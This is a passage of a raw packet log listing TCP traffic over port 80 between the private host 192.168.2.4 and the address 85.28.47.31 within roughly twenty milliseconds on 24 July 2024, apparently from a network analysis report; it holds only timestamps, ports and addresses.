Jul 24, 2024 02:39:07.147012949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147025108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147046089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147063971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147078991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147105932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147111893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147139072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147145987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147162914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147178888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147197008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147211075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147238016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147243977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147259951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147278070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147305965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147311926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147325039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147345066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147375107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147377968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147393942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147411108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147437096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147444010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147469997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147494078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147862911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147897959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147932053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147932053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147948980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147964954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.147979975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.147996902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148024082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148030996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148041964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148057938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148073912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148078918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148088932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148097038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148104906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148119926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148124933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148134947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148154020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148154020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148169994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148185968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148188114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148201942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148214102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148217916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148233891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148236990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148248911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148264885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148272038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148310900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148850918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148874044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148890018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148905993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148912907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148921967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148938894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148947954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.148953915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148968935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148983955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.148998976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149008036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149014950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149030924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149039984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149046898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149063110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149070024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149094105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149132013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149504900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149538040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149554014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149555922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149569988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149585962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149600983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149602890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149616003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149625063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149631977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149646997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149662971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149671078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149679899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149691105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149696112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149710894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149725914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149729967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149740934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149755001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149770021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149770975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149785042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149796009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149800062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149816990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149822950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149832964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149847984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149851084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149863005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.149885893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.149926901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150652885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150676966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150692940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150707960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150712967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150723934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150732994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150738955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150753021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150768995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150777102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150794983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150803089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150811911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150826931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150830030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150842905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150857925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150866985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150875092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150890112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150897980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150906086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150919914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150927067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150938988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150954008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150954008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.150970936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150985956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.150993109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151001930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151017904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151026964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151062012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151315928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151333094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151356936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151365995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151372910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151388884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151398897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151403904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151418924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151433945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151437044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151448965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151459932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151463985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151479006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151482105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151494980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151510000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151518106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151525974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151540041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151555061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151556015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151573896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151582003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151591063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151602030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151604891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151621103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151634932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151637077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151649952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.151674032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.151696920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.152116060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.152132034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.152168989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.152184010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.163748026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.163808107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.163825035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.163839102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.163873911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.163902044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.163933039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.163960934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.163989067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164016962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164047003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164056063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164076090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164105892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164138079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164175034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164205074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164247036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164246082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164247036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164247036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164247036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164277077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164282084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164282084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164308071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164308071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164336920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164339066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164355993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164370060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164398909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164400101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164423943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164428949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164443970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164458990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164489031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164504051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164520025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164552927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164577007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164582014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164611101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164628983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164659023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164669991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164689064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164690018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164719105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164721966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164741039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164748907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164764881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164778948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164794922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164808989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164824009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164839029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164853096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164869070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164899111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164901972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164923906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164927959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164942980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164958000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164987087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.164995909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.164997101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165018082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165041924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165047884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165070057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165087938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165278912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165309906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165338993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165340900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165354967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165369987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165386915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165400982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165416956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165431023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165448904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165460110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165477037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165489912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165505886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165522099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165551901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165556908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165579081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165582895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165596962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165612936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165643930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165643930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165668011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165697098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165887117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165916920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165945053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165947914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.165962934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.165976048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166002035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166006088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166029930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166050911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166054964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166079998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166104078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166110039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166138887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166140079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166167021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166168928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166193008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166199923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166229963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166240931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166259050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166263103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166282892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166290045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166306973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166337013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166552067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166579008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166614056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166619062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166641951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166644096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166661024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166673899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166701078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166703939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.166718960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.166733980 CEST	80	49730	85.28.47.31	192.168.2.4
